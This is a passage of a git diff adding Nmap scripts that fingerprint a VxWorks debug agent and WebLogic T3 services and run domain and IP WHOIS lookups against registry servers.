+ --return stdnse.format_output(false, "Failed to read data")
+ return nil
+ end
+ nmap.set_port_state(host, port, "open")
+
+ local pos, header = comm:DecodeHeader(data, 1)
+ if not header then
+ return stdnse.format_output(false, "Failed to decode header")
+ end
+
+ if pos == #data then
+ return stdnse.format_output(false, "No WDB data in reply")
+ end
+
+ local pos, info = decode_reply(data, pos)
+ if not pos then
+ return stdnse.format_output(false, "WDB error: "..info.error)
+ end
+ port.version.name = "wdb"
+ port.version.name_confidence = 10
+ port.version.product = "Wind DeBug Agent"
+ port.version.version = stripnull(info["agent_ver"])
+ if port.version.ostype ~= nil then
+ port.version.ostype = "VxWorks " .. stripnull(info["rt_vers"])
+ end
+ nmap.set_port_version(host, port)
+ -- Clean up (some agents will continue to send data until we disconnect)
+ packet = request(comm, WDB_Procedure["WDB_TARGET_DISCONNECT"], (">I4I4I4"):pack(2, 0, 0))
+ if not comm:SendPacket(packet) then
+ return stdnse.format_output(false, "Failed to send request")
+ end
+
+ local o = stdnse.output_table()
+ table.insert(o, "VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332")
+ if info.agent_ver then
+ o["Agent version"] = stripnull(info.agent_ver)
+ end
+ --table.insert(o, "Agent MTU: " .. info.agent_mtu)
+ if info.rt_vers then
+ o["VxWorks version"] = stripnull(info.rt_vers)
+ end
+ -- rt_cpu_type is an enum type, but I don't have access to
+ -- cputypes.h, where it is defined
+ --table.insert(o, "CPU Type: " .. info.rt_cpu_type)
+ if info.rt_bsp_name then
+ o["Board Support Package"] = stripnull(info.rt_bsp_name)
+ end
+ if info.rt_bootline then
+ o["Boot line"] = stripnull(info.rt_bootline)
+ end
+ return o
+end
diff --git a/scripts/weblogic-t3-info.nse b/scripts/weblogic-t3-info.nse
new file mode 100644
index 0000000..f630dc0
--- /dev/null
+++ b/scripts/weblogic-t3-info.nse
@@ -0,0 +1,91 @@
+local comm = require "comm"
+local string = require "string"
+local shortport = require "shortport"
+local nmap = require "nmap"
+
+description = "Detect the T3 RMI protocol and Weblogic version"
+author = {"Alessandro ZANNI <alessandro.zanni@bt.com>", "Daniel Miller"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default","safe","discovery","version"}
+
+portrule = function(host, port)
+ if type(port.version) == "table" and port.version.name_confidence > 3 and port.version.product ~= nil then
+ return string.find(port.version.product, "WebLogic", 1, true) and nmap.version_intensity() >= 7
+ end
+ return shortport.version_port_or_service({7001,7002,7003},"http")(host,port)
+end
+
+action = function(host, port)
+ local status, result = comm.exchange(host, port,
+ "t3 12.1.2\nAS:2048\nHL:19\n\n")
+
+ if (not status) then
+ return nil
+ end
+
+ local weblogic_version = string.match(result, "^HELO:(%d+%.%d+%.%d+%.%d+)%.")
+
+ local rval = nil
+ port.version = port.version or {}
+ local extrainfo = port.version.extrainfo
+ if extrainfo == nil then
+ extrainfo = ""
+ else
+ extrainfo = extrainfo .. "; "
+ end
+ if weblogic_version then
+ if weblogic_version == "12.1.2" then
+ status, result = comm.exchange(host, port,
+ "t3 11.1.2\nAS:2048\nHL:19\n\n")
+ weblogic_version = string.match(result, "^HELO:(%d+%.%d+%.%d+%.%d+)%.")
+ if weblogic_version == "11.1.2" then
+ -- Server just echoes whatever version we send.
+ rval = "T3 protocol in use (Unknown WebLogic version)"
+ else
+ port.version.version = weblogic_version
+ rval = "T3 protocol in use (WebLogic version: " .. weblogic_version .. ")"
+ end
+ else
+ port.version.version = weblogic_version
+ rval = "T3 protocol in use (WebLogic version: " .. weblogic_version .. ")"
+ end
+ port.version.extrainfo = extrainfo .. "T3 enabled"
+ elseif string.match(result, "^LGIN:") then
+ port.version.extrainfo = extrainfo .. "T3 enabled"
+ rval = "T3 protocol in use (handshake failed)"
+ elseif string.match(result, "^SERV:") then
+ port.version.extrainfo = extrainfo .. "T3 enabled"
+ rval = "T3 protocol in use (No such service)"
+ elseif string.match(result, "^UNAV:") then
+ port.version.extrainfo = extrainfo .. "T3 enabled"
+ rval = "T3 protocol in use (Service unavailable)"
+ elseif string.match(result, "^LICN:") then
+ port.version.extrainfo = extrainfo .. "T3 enabled"
+ rval = "T3 protocol in use (No license)"
+ elseif string.match(result, "^RESC:") then
+ port.version.extrainfo = extrainfo .. "T3 enabled"
+ rval = "T3 protocol in use (No resource)"
+ elseif string.match(result, "^VERS:") then
+ weblogic_version = string.match(result, "^VERS:Incompatible versions %- this server:(%d+%.%d+%.%d+%.%d+)")
+ if weblogic_version then
+ port.version.version = weblogic_version
+ end
+ port.version.extrainfo = extrainfo .. "T3 enabled"
+ rval = "T3 protocol in use (Incompatible version)"
+ elseif string.match(result, "^CATA:") then
+ port.version.extrainfo = extrainfo .. "T3 enabled"
+ rval = "T3 protocol in use (Catastrophic failure)"
+ elseif string.match(result, "^CMND:") then
+ port.version.extrainfo = extrainfo .. "T3 enabled"
+ rval = "T3 protocol in use (No such command)"
+ end
+
+ if rval then
+ if port.version.product == nil then
+ port.version.product = "WebLogic application server"
+ end
+ nmap.set_port_version(host, port, "hardmatched")
+ end
+
+ return rval
+end
diff --git a/scripts/whois-domain.nse b/scripts/whois-domain.nse
new file mode 100644
index 0000000..8404929
--- /dev/null
+++ b/scripts/whois-domain.nse
@@ -0,0 +1,173 @@
+description = [[
+Attempts to retrieve information about the domain name of the target
+]]
+
+---
+-- @see whois-ip.nse
+--
+-- @usage nmap --script whois-domain.nse <target>
+--
+-- This script starts by querying the whois.iana.org (which is the root of the
+-- whois servers). Using some patterns the script can determine if the response
+-- represents a referral to a record hosted elsewhere. If that's the case it will
+-- query that referral. The script keeps repeating this until the response don't
+-- match with any of the patterns, meaning that there are no other referrals and
+-- prints the output.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | whois-domain:
+-- | whois3: Record found at whois.arin.net
+-- | netrange: 199.19.112.0 - 199.19.119.255
+-- | netname: WEBRULON-NETWORK
+-- | orgname: webRulon, LLC
+-- | orgid: WL-1
+-- | country: US stateprov: NY
+-- |
+-- | orgtechname: webRulon Support
+-- | orgtechemail: support@webrulon.com
+-- |
+-- | Domain name record found at whois.enom.com
+-- |
+-- | Registration Service Provided By: Namecheap.com
+-- | Contact: support@namecheap.com
+-- | Visit: http://namecheap.com
+-- | Registered through: eNom, Inc.
+-- |
+-- | Domain name: random-foo-example.com
+-- |
+-- | Registrant Contact:
+-- | Example
+-- | John Foo ()
+-- |
+-- | Fax:
+-- | Dimosthenous 215
+-- | Athens, Attiki 17673
+-- | GR
+-- |
+-- | Administrative Contact:
+-- | Example
+-- | John Foo (john@gmail.com)
+-- | +30.69425555555
+-- | Fax: +1.5555555555
+-- | Dimosthenous 215
+-- | Athens, Attiki 17673
+-- | GR
+-- |
+-- | Technical Contact:
+-- | Example
+-- | John Foo (john@gmail.com)
+-- | +30.69425555555
+-- | Fax: +1.5555555555
+-- | Dimosthenous 215
+-- | Athens, Attiki 17673
+-- | GR
+-- |
+-- | Status: Active
+-- |
+-- | Name Servers:
+-- | dns1.registrar-servers.com
+-- | dns2.registrar-servers.com
+-- | dns3.registrar-servers.com
+-- | dns4.registrar-servers.com
+-- | dns5.registrar-servers.com
+-- |
+-- | Creation date: 14 Oct 2011 13:41:00
+-- | Expiration date: 14 Oct 2013 05:41:00
+---
+
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "external", "safe"}
+
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+hostrule = function( host )
+ local is_private, err = ipOps.isPrivate( host.ip )
+ if is_private == nil then
+ stdnse.debug1("Error in Hostrule: %s.", err )
+ return false
+ end
+
+ return not is_private
+end
+
+
+action = function( host )
+
+ local mutexes = {}
+
+ -- If the user has provided a domain name.
+ if host.targetname then
+
+ local referral_patterns = {"refer:%s*(.-)\n", "Whois%sServer:%s*(.-)\n"}
+
+ -- Remove www prefix and add a newline.
+ local query_data = string.gsub(host.targetname, "^www%.", "") .. "\n"
+
+ local result
+
+ -- First server to query is iana's.
+ local referral = "whois.iana.org"
+
+ while referral do
+
+ if not mutexes[referral] then
+ mutexes[referral] = nmap.mutex(referral)
+ end
+
+ mutexes[referral] "lock"
+
+ result = {}
+ local socket = nmap.new_socket()
+ local catch = function()
+ stdnse.debug1( "fail")
+ socket:close()
+ end
+
+ local status, line = {}
+ local try = nmap.new_try( catch )
+
+ socket:set_timeout( 50000 )
+
+ try( socket:connect(referral, 43 ) )
+ try( socket:send( query_data ) )
+
+ while true do
+ local status, lines = socket:receive_lines(1)
+ if not status then
+ break
+ else
+ result[#result+1] = lines
+ end
+ end
+
+ socket:close()
+
+ mutexes[referral] "done"
+
+ if #result == 0 then
+ return nil
+ end
+
+ table.insert(result, 1, "\n\nDomain name record found at " .. referral .. "\n")
+
+ -- Do we have a referral?
+ referral = false
+ for _, p in ipairs(referral_patterns) do
+ referral = referral or string.match(table.concat(result), p)
+ end
+
+ end
+
+ result = table.concat( result )
+ return result
+ end
+ return "You should provide a domain name."
+end
+
diff --git a/scripts/whois-ip.nse b/scripts/whois-ip.nse
new file mode 100644
index 0000000..0fd1df5
--- /dev/null
+++ b/scripts/whois-ip.nse
@@ -0,0 +1,2263 @@
+local http = require "http"
+local io = require "io"
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Queries the WHOIS services of Regional Internet Registries (RIR) and attempts to retrieve information about the IP Address
+Assignment which contains the Target IP Address.
+
+The fields displayed contain information about the assignment and the organisation responsible for managing the address
+space. When output verbosity is requested on the Nmap command line (<code>-v</code>) extra information about the assignment will
+be displayed.
+
+To determine which of the RIRs to query for a given Target IP Address this script utilises Assignments Data hosted by IANA.
+The data is cached locally and then parsed for use as a lookup table. The locally cached files are refreshed periodically
+to help ensure the data is current. If, for any reason, these files are not available to the script then a default sequence
+of Whois services are queried in turn until: the desired record is found; or a referral to another (defined) Whois service is
+found; or until the sequence is exhausted without finding either a referral or the desired record.
+
+The script will recognize a referral to another Whois service if that service is defined in the script and will continue by
+sending a query to the referred service. A record is assumed to be the desired one if it does not contain a referral.
+
+To reduce the number unnecessary queries sent to Whois services a record cache is employed and the entries in the cache can be
+applied to any targets within the range of addresses represented in the record.
+
+In certain circumstances, the ability to cache responses prevents the discovery of other, smaller IP address assignments
+applicable to the target because a cached response is accepted in preference to sending a Whois query. When it is important
+to ensure that the most accurate information about the IP address assignment is retrieved the script argument <code>whodb</code>
+should be used with a value of <code>"nocache"</code> (see script arguments). This reduces the range of addresses that may use a
+cached record to a size that helps ensure that smaller assignments will be discovered. This option should be used with caution
+due to the potential to send large numbers of whois queries and possibly be banned from using the services.
+
+In using this script your IP address will be sent to iana.org. Additionally
+your address and the address of the target of the scan will be sent to one of
+the RIRs.
+]]
+
+---
+-- @see whois-domain.nse
+-- @args whodb Takes any of the following values, which may be combined:
+-- * <code>whodb=nofile</code> Prevent the use of IANA assignments data and instead query the default services.
+-- * <code>whodb=nofollow</code> Ignore referrals and instead display the first record obtained.
+-- * <code>whodb=nocache</code> Prevent the acceptance of records in the cache when they apply to large ranges of addresses.
+-- * <code>whodb=[service-ids]</code> Redefine the default services to query. Implies <code>nofile</code>.
+-- @usage
+-- # Basic usage:
+-- nmap target --script whois-ip
+--
+-- # To prevent the use of IANA assignments data supply the nofile value
+-- # to the whodb argument:
+-- nmap target --script whois-ip --script-args whodb=nofile
+-- nmap target --script whois-ip --script-args whois.whodb=nofile
+--
+-- # Supplying a sequence of whois services will also prevent the use of
+-- # IANA assignments data and override the default sequence:
+-- nmap target --script whois-ip --script-args whodb=arin+ripe+afrinic
+-- nmap target --script whois-ip --script-args whois.whodb=apnic*lacnic
+-- # The order in which the services are supplied is the order in which
+-- # they will be queried. (N.B. commas or semi-colons should not be
+-- # used to delimit argument values.)
+--
+-- # To return the first record obtained even if it contains a referral
+-- # to another service, supply the nofollow value to whodb:
+-- nmap target --script whois-ip --script-args whodb=nofollow
+-- nmap target --script whois-ip --script-args whois.whodb=nofollow+ripe
+-- # Note that only one service (the first one supplied) will be used in
+-- # conjunction with nofollow.
+--
+-- # To ensure discovery of smaller assignments even if larger ones
+-- # exist in the cache, supply the nocache value to whodb:
+-- nmap target --script whois-ip --script-args whodb=nocache
+-- nmap target --script whois-ip --script-args whois.whodb=nocache
+-- @output
+-- Host script results:
+-- | whois-ip: Record found at whois.arin.net
+-- | netrange: 64.13.134.0 - 64.13.134.63
+-- | netname: NET-64-13-143-0-26
+-- | orgname: Titan Networks
+-- | orgid: INSEC
+-- |_ country: US stateprov: CA
+
+author = "jah"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "external", "safe"}
+
+
+
+
+-------------------------------------------------------------------------------------------------------------------------
+--
+--
+--
+--
+-- This script will run only if the target IP address has been determined to be routable on the Internet.
+
+hostrule = function( host )
+
+ local is_private, err = ipOps.isPrivate( host.ip )
+ if is_private == nil then
+ stdnse.debug1("Error in Hostrule: %s.", err)
+ return false
+ end
+
+ return not is_private
+
+end
+
+
+
+-------------------------------------------------------------------------------------------------------------------------
+--
+--
+--
+--
+-- Queries WHOIS services until an applicable record is found or the list of services to query
+-- is exhausted and finishes by displaying elements of an applicable record.
+
+action = function( host )
+
+ if not nmap.registry.whois then
+ ---
+ -- Data and flags shared between threads.
+ -- @name whois
+ -- @class table
+ --@field whoisdb_default_order The default number and order of whois services to query.
+ --@field using_local_assignments_file The boolean values of the two keys ipv4 and ipv6 determine whether or not to use the data from an IANA
+ -- hosted assignments file for that address family.
+ --@field local_assignments_file_expiry A period, between 0 and 7 days, during which cached assignments data may be used without being refreshed.
+ --@field init_done Set when <code>script_init</code> has been called and prevents it being called again.
+ --@field mutex A table of mutex functions, one for each service defined herein. Allows a thread exclusive access to a
+ -- service, preventing concurrent connections to it.
+ --@field nofollow A flag that prevents referrals to other whois records and allows the first record retrieved to be
+ -- returned instead. Set to true when whodb=nofollow
+ --@field using_cache A flag which modifies the size of ranges in a cache entry. Set to false when whodb=nocache
+ --@field cache Storage for cached redirects, records and other data for output.
+ nmap.registry.whois = {}
+ nmap.registry.whois.whoisdb_default_order = {"arin","ripe","apnic"}
+ nmap.registry.whois.using_cache = true
+ nmap.registry.whois.using_local_assignments_file = {}
+ nmap.registry.whois.using_local_assignments_file.ipv4 = true
+ nmap.registry.whois.using_local_assignments_file.ipv6 = true
+ nmap.registry.whois.local_assignments_file_expiry = "16h"
+ nmap.registry.whois.nofollow = false
+ nmap.registry.whois.cache = {}
+
+ end
+
+ -- script initialisation - threads must wait until this has been completed before continuing
+ local mutex = nmap.mutex( "whois" )
+ mutex "lock"
+ if not nmap.registry.whois.init_done then
+ script_init()
+ end
+ mutex "done"
+
+ ---
+ -- Holds field data captured from the responses of each service queried and includes additional information about the final desired record.
+ --
+ -- The table, indexed by whois service id, holds a table of fields captured from each queried service. Once it has been determined that a record
+ -- represents the final record we wish to output, the existing values are destroyed and replaced with the one required record. This is done purely
+ -- to make it easier to reference the data of a desired record. Other values in the table are as follows.
+ -- @name data
+ -- @class table
+ --@field data.iana is set after the table is initialised and is the number of times a response encountered represents "The Whole Address Space".
+ -- If the value reaches 2 it is assumed that a valid record is held at ARIN.
+ --@field data.id is set in <code>analyse_response</code> after final record and is the service name at which a valid record has been found. Used in
+ -- <code>format_data_for_output</code>.
+ --@field data.mirror is set in <code>analyse_response</code> after final record and is the service name from which a mirrored record has been found. Used in
+ -- <code>format_data_for_output</code>.
+ --@field data.comparison is set in <code>analyse_response</code> after final record and is a string concatenated from fields extracted from a record and which
+ -- serves as a fingerprint for a record, used in <code>get_cache_key</code>, to compare two records for equality.
+ local data = {}
+ data.iana = 0
+
+ ---
+ -- Used in the main loop to manage mutexes, the structure of tracking is as follows.
+ -- @name tracking
+ -- @class table
+ --@field this_db The service for which a thread will wait for exclusive access before sending a query to it.
+ --@field next_db The next service to query. Allows a thread to continue in the main "while do" loop.
+ --@field last_db The value of this_db after sending a query, used when exclusive access to a service is no longer required.
+ --@field completed An array of services previously queried.
+ local tracking = {}
+ tracking.completed = {}
+ local addr_family = #host.bin_ip == 4 and "ipv4" or "ipv6"
+
+ tracking = get_next_action( tracking, host.ip, addr_family )
+
+ -- main loop
+ while tracking.next_db do
+
+ local status, retval
+ tracking.this_db, tracking.next_db = tracking.next_db, nil
+
+ nmap.registry.whois.mutex[tracking.this_db] "lock"
+
+ status, retval = pcall( get_next_action, tracking, host.ip, addr_family )
+ if not status then
+ stdnse.debug1("pcall caught an exception in get_next_action: %s.", retval)
+ else tracking = retval end
+
+ if tracking.this_db then
+ -- do query
+ local response = do_query( tracking.this_db, host.ip )
+ tracking.completed[#tracking.completed+1] = tracking.this_db
+
+ -- analyse data
+ status, retval = pcall( analyse_response, tracking, host.ip, response, data )
+ if not status then
+ stdnse.debug1("pcall caught an exception in analyse_response: %s.", retval)
+ else data = retval end
+
+ -- get next action
+ status, retval = pcall( get_next_action, tracking, host.ip, addr_family )
+ if not status then
+ stdnse.debug1("pcall caught an exception in get_next_action: %s.", retval)
+ if not tracking.last_db then tracking.last_db, tracking.this_db = tracking.this_db or tracking.next_db, nil end
+ else tracking = retval end
+ end
+
+ nmap.registry.whois.mutex[tracking.last_db] "done"
+ tracking.last_db = nil
+
+ end
+
+
+ return output( host.ip, tracking.completed )
+
+end -- action
+
+
+
+
+----------------------------------------------------------------------------------------------------------------------------
+--
+--
+--
+--
+-- Determines whether or not to query a whois service and which one to query. Checks the cache first - where there may be a redirect or a
+-- cached record. If not, it trys to get a service from the assignments files if this was not previously attempted. Finally, if a service has
+-- not yet been obtained the first unqueried service from whoisdb_default_order is used. The tracking table is manipulated such that a thread
+-- knows its next move in the main loop.
+-- @param tracking The Tracking table.
+-- @param ip String representing the Target's IP address.
+-- @param addr_fam String representing the Target's IP address family.
+-- @return The supplied and possibly modified tracking table.
+-- @see tracking, check_response_cache, get_db_from_assignments
+
+function get_next_action( tracking, ip, addr_fam )
+
+ if type( ip ) ~= "string" or ip == "" or type( tracking ) ~= "table" or type( tracking.completed ) ~= "table" then return nil end
+
+ --next_db should always be nil when calling this
+ if tracking.next_db then return tracking end
+
+
+ -- check for cached redirects and records
+ local in_cache
+ in_cache, tracking.next_db = check_response_cache( ip )
+
+ if in_cache and not tracking.next_db then
+
+ -- found cached data - quit
+ tracking.this_db, tracking.last_db = nil, tracking.this_db
+ return tracking
+
+ elseif in_cache and tracking.next_db then
+
+ -- found cached redirect
+ if tracking.next_db ~= tracking.this_db then
+
+ -- skip query to this_db and set last_db so we can unlock mutex
+ tracking.this_db, tracking.last_db = nil, tracking.this_db
+
+ else
+
+ -- we were already about to query this_db
+ tracking.next_db = nil
+
+ end
+
+ -- kill redirect if the user specified "nofollow"
+ if nmap.registry.whois.nofollow then tracking.next_db = nil end
+
+ return tracking
+
+ elseif not in_cache and tracking.this_db and table.concat( tracking.completed, " " ):match( tracking.this_db ) then
+
+ -- we've already queried this_db so lets skip it and try whoisdb_default_order
+ tracking.last_db, tracking.this_db = tracking.this_db, nil
+
+ end
+
+
+ -- try to find a service to query in the assignments files, if allowed
+ if nmap.registry.whois.using_local_assignments_file[addr_fam] and not tracking.this_db and not tracking.last_db then
+
+ tracking.next_db = get_db_from_assignments( ip )
+ if tracking.next_db and not table.concat( tracking.completed, " " ):match( tracking.next_db ) then
+ -- we got one we haven't queried - we probably haven't queried any yet.
+ return tracking
+ end
+
+ end
+
+
+ -- get the next untried service from whoisdb_default_order
+ if not tracking.this_db and nmap.registry.whois.whoisdb_default_order then
+
+ for i, db in ipairs( nmap.registry.whois.whoisdb_default_order ) do
+ if not table.concat( tracking.completed, " " ):match( db ) then
+ tracking.next_db = db
+ break
+ end
+ end
+
+ end
+
+ return tracking
+
+end
+
+
+
+---
+-- Checks the registry for cached redirects and results applicable to the supplied Target's IP address.
+-- @param ip String representing the Target's IP address.
+-- @return Boolean True if the supplied IP address is within a range of addresses for which there is a cache entry and a redirect or a
+-- record is present; otherwise false.
+-- @return ID of a service defined in whoisdb if a redirect is present; otherwise nil.
+-- @see get_cache_key
+
+function check_response_cache( ip )
+
+ if not next( nmap.registry.whois.cache ) then return false, nil end
+ if type( ip ) ~= "string" or ip == "" then return false, nil end
+
+ local ip_key = get_cache_key( ip )
+ if not ip_key then return false, nil end
+
+ local cache_data = nmap.registry.whois.cache[ip_key]
+
+ if cache_data.redirect then
+ -- redirect found in cache
+ return true, cache_data.redirect
+ elseif cache_data.data then
+ -- record found in cache
+ return true, nil
+ else
+ stdnse.debug1("Error in check_response_cache: Empty Cache Entry was found.")
+ end
+
+ return false, nil
+
+end
+
+
+
+---
+-- Determines which entry in the cache is applicable to the Target and returns the key for that entry.
+-- @param ip String representing the Target's IP address.
+-- @return String key (IP address) of the cache entry applicable to the Target.
+
+function get_cache_key( ip )
+
+ -- if this ip cached an entry, then we'll use it except when it represents a found record and we're not using_cache
+ if nmap.registry.whois.cache[ip] and ( nmap.registry.whois.using_cache or nmap.registry.whois.cache[ip].redirect ) then
+ return ip
+ end
+
+ -- When not using_cache, we compare our record to any others in the cache to avoid printing out the same record repeatedly.
+ local self_compare
+ if nmap.registry.whois.cache[ip] and nmap.registry.whois.cache[ip].data then
+ -- we should have a string which we can use to compare with other records
+ self_compare = nmap.registry.whois.cache[ip].data.comparison
+ end
+
+ local cache_entries = {}
+ for ip_key, cache_data in pairs( nmap.registry.whois.cache ) do
+
+ if type( ip_key ) == "string" and ip_key ~= "" and type( cache_data ) == "table" then
+
+ -- compare and return original pointer
+ if self_compare and ip ~= ip_key and not cache_data.pointer and self_compare == cache_data.data.comparison then
+ nmap.registry.whois.cache[ip].pointer = ip_key
+ return ip_key
+ end
+
+ -- check if ip is in a cached range and add the entry to cache_entries if it is
+ local in_range, err = ipOps.ip_in_range( ip, cache_data.range )
+ if in_range then
+ local t = {}
+ t.key = ip_key
+ t.range = cache_data.range
+ t.pointer = cache_data.pointer
+ cache_entries[#cache_entries+1] = t
+ end
+
+ end
+
+ end
+
+ if #cache_entries == 0 then
+ -- no applicable cache entries
+ return nil
+ elseif #cache_entries == 1 then
+ -- just one applicable entry
+ return cache_entries[1].pointer or cache_entries[1].key
+ end
+
+ -- more than one entry need sorting into ascending order
+ table.sort( cache_entries, smallest_range )
+
+ -- we'll choose the smallest range
+ return cache_entries[1].key
+
+end
+
+
+
+---
+-- Calculates the prefix length for the given assignment.
+-- @param range String representing an IP address assignment
+-- @return Number - prefix length of the assignment
+
+function get_prefix_length( range )
+
+ if type( range ) ~= "string" or range == "" then return nil end
+
+ local first, last, err = ipOps.get_ips_from_range( range )
+ if err then return nil end
+
+ first = ipOps.ip_to_bin(first)
+ last = ipOps.ip_to_bin(last)
+
+ for pos = 1, #first do
+ if first:byte(pos) ~= last:byte(pos) then
+ return pos - 1
+ end
+ end
+
+ return #first
+
+end
+
+
+
+
+---
+-- Performs a lookup against assignments data to determine which service to query for the supplied Target.
+-- @param ip String representing the Target's IP address.
+-- @return String id of the whois service to query, or nil.
+
+function get_db_from_assignments( ip )
+
+ if type( ip ) ~= "string" or ip == "" then return nil end
+
+ local af
+ if ip:match( ":" ) then
+ af = "ipv6"
+ else
+ af = "ipv4"
+ end
+
+ if not nmap.registry.whois.local_assignments_data or not nmap.registry.whois.local_assignments_data[af] then
+ stdnse.debug1("Error in get_db_from_assignments: Missing assignments data in registry.")
+ return nil
+ end
+
+ if next( nmap.registry.whois.local_assignments_data[af] ) then
+ for _, assignment in ipairs( nmap.registry.whois.local_assignments_data[af] ) do
+ if ipOps.ip_in_range( ip, assignment.range.first .. "-" .. assignment.range.last ) then
+ return assignment.service
+ end
+ end
+ end
+
+ return nil
+
+end
+
+
+
+---
+-- Connects to a whois service (usually TCP port 43) and sends an IP address query, returning any response.
+-- @param db String id of a service defined in whoisdb.
+-- @param ip String representing the Target's IP address.
+-- @return String response to query or nil.
+
+function do_query(db, ip)
+
+ if type( db ) ~= "string" or not nmap.registry.whois.whoisdb[db] then
+ stdnse.debug1("Error in do_query: %s is not a defined Whois service.", db)
+ return nil
+ end
+
+ local service = nmap.registry.whois.whoisdb[db]
+
+ if type( service.hostname ) ~= "string" or service.hostname == "" then
+ stdnse.debug1("Error in do_query: Invalid hostname for %s.", db)
+ return nil
+ end
+
+ local query_data = ""
+ if type( service.preflag ) == "string" and service.preflag ~= "" then
+ query_data = service.preflag .. " "
+ end
+ query_data = query_data .. ip
+ if type( service.postflag ) == "string" and service.postflag ~= "" then
+ query_data = query_data .. service.postflag
+ end
+ query_data = query_data .. "\n"
+
+ local socket = nmap.new_socket()
+ local catch = function()
+ stdnse.debug1("Connection to %s failed or was aborted! No Output for this Target.", db)
+ nmap.registry.whois.mutex[db] "done"
+ socket:close()
+ end
+
+ local result, status, line = {}
+ local try = nmap.new_try( catch )
+
+ socket:set_timeout( 10000 )
+ try( socket:connect( service.hostname, 43 ) )
+ try( socket:send( query_data ) )
+
+ while true do
+ local status, lines = socket:receive_lines(1)
+ if not status then
+ break
+ else
+ result[#result+1] = lines
+ end
+ end
+
+ socket:close()
+
+ stdnse.debug3("Ended Query at %s.", db)
+
+ if #result == 0 then
+ return nil
+ end
+
+ return table.concat( result )
+
+end
+
+
+
+---
+-- Extracts fields (if present) from the information returned in response to our query and determines whether it represents a referral to a
+-- record hosted elsewhere. The referral is cached in the registry to allow threads for targets in the same assignment to avoid performing
+-- their queries to this service. If it is not a referral, we assume it is the desired record and the extracted fields are cached in the
+-- registry ready for output.
+-- @param tracking Tracking table.
+-- @param ip String representing a Target's IP address.
+-- @param response String obtained from a service in response to our query.
+-- @param data Table of fields captured from previously queried services, indexed by service name.
+-- @return The data table passed as a parameter which may have been added to or may contain only the fields extracted from the desired
+-- record (in which case it will no longer be indexed by service name).
+-- @see extract_objects_from_response, redirection_rules, constrain_response, add_to_cache
+
+function analyse_response( tracking, ip, response, data )
+
+ if type( response ) ~= "string" or response == "" then return data end
+
+ local meta, mirrored_db
+ local last_db, this_db, next_db = tracking.last_db, (tracking.this_db or tracking.last_db), tracking.next_db
+ data[this_db] = {}
+
+ -- check for foreign resource
+ for _, db in pairs( nmap.registry.whois.whoisdb ) do
+ if type( db ) == "table" and type( db.id ) == "string" and db.id ~= "iana" and db.id ~= this_db and type( db.hostname ) == "string" then
+ local pattern = db.id:upper() .. ".*%s*resource:%s*" .. db.hostname
+ if response:match( pattern ) then
+ mirrored_db = db.id
+ meta = db
+ meta.redirects = nil
+ break
+ end
+ end
+ end
+
+ meta = meta or nmap.registry.whois.whoisdb[this_db]
+
+ -- do we recognize objects in the response?.
+ local have_objects
+ if type( meta ) == "table" and type( meta.fieldreq ) == "table" and type( meta.fieldreq.ob_exist ) == "string" then
+ have_objects = response:match( meta.fieldreq.ob_exist )
+ else
+ stdnse.debug2("Could not check for objects, problem with meta data.")
+ have_objects = false
+ end
+
+ -- if we do not recognize objects check for an known error/non-object message
+ if not have_objects then
+ stdnse.debug4("%s has not responded with the expected objects.", this_db)
+ local tmp, msg
+ -- may have found our record saying something similar to "No Record Found"
+ for _, pattern in ipairs( nmap.registry.whois.m_none ) do
+ local pattern_l = pattern:gsub( "$addr", ip:lower() )
+ local pattern_u = pattern:gsub( "$addr", ip:upper() )
+ msg = response:match( pattern_l ) or response:match( pattern_u )
+ if msg then
+ stdnse.debug4("%s responded with a message which is assumed to be authoritative (but may not be).", this_db)
+ break
+ end
+ end
+ -- may have an error
+ if not msg then
+ for _, pattern in ipairs( nmap.registry.whois.m_err ) do
+ msg = response:match( pattern )
+ if msg then
+ stdnse.debug4("%s responded with an ERROR message.", this_db)
+ break
+ end
+ end
+ end
+ -- if we've recognized a non-object message,
+ if msg then
+ add_to_cache( ip, nil, nil, "Message from " .. nmap.registry.whois.whoisdb[this_db].hostname .. "\n" .. msg )
+ return data
+ end
+ end
+
+ -- the query response may not contain the set of objects we were expecting and we do not recognize the response message.
+ -- it may contain a record mirrored (or found by recursion) from a different service
+ if not have_objects then
+ local foreign_obj
+ for setname, set in pairs( nmap.registry.whois.fields_meta ) do
+ if set ~= nmap.registry.whois.whoisdb[this_db].fieldreq and response:match(set.ob_exist) then
+ foreign_obj = setname
+ stdnse.debug4("%s seems to have responded using the set of objects named: %s.", this_db, foreign_obj)
+ break
+ end
+ end
+ if foreign_obj and foreign_obj == "rpsl" then
+ mirrored_db = nmap.registry.whois.whoisdb.ripe.id
+ meta = nmap.registry.whois.whoisdb.ripe
+ meta.redirects = nil
+ have_objects = true
+ stdnse.debug4("%s will use the display properties of ripe.", this_db)
+ elseif foreign_obj then
+ -- find a display to match the objects.
+ for some_db, db_props in pairs( nmap.registry.whois.whoisdb ) do
+ if db_props.fieldreq and nmap.registry.whois.fields_meta[foreign_obj] and db_props.fieldreq == nmap.registry.whois.fields_meta[foreign_obj] then
+ mirrored_db = nmap.registry.whois.whoisdb[some_db].id
+ meta = nmap.registry.whois.whoisdb[some_db]
+ meta.redirects = nil
+ have_objects = true
+ stdnse.debug4("%s will use the display properties of %s.", this_db, some_db)
+ break
+ end
+ end
+ end -- if foreign_obj
+ end
+
+ -- extract fields from the entire response for record/redirect discovery
+ if have_objects then
+ stdnse.debug4("Parsing Query response from %s.", this_db)
+ data[this_db] = extract_objects_from_response( response, this_db, meta )
+ end
+
+ local response_chunk, found, nextdb
+
+ -- do record/redirect discovery, cache found redirect
+ if not nmap.registry.whois.nofollow and have_objects and meta.redirects then
+ stdnse.debug4("Testing response for redirection.")
+ found, nextdb, data.iana = redirection_rules( this_db, data, meta )
+ end
+
+ -- get most specific assignment and handle arin's organisation-focused record layout and then
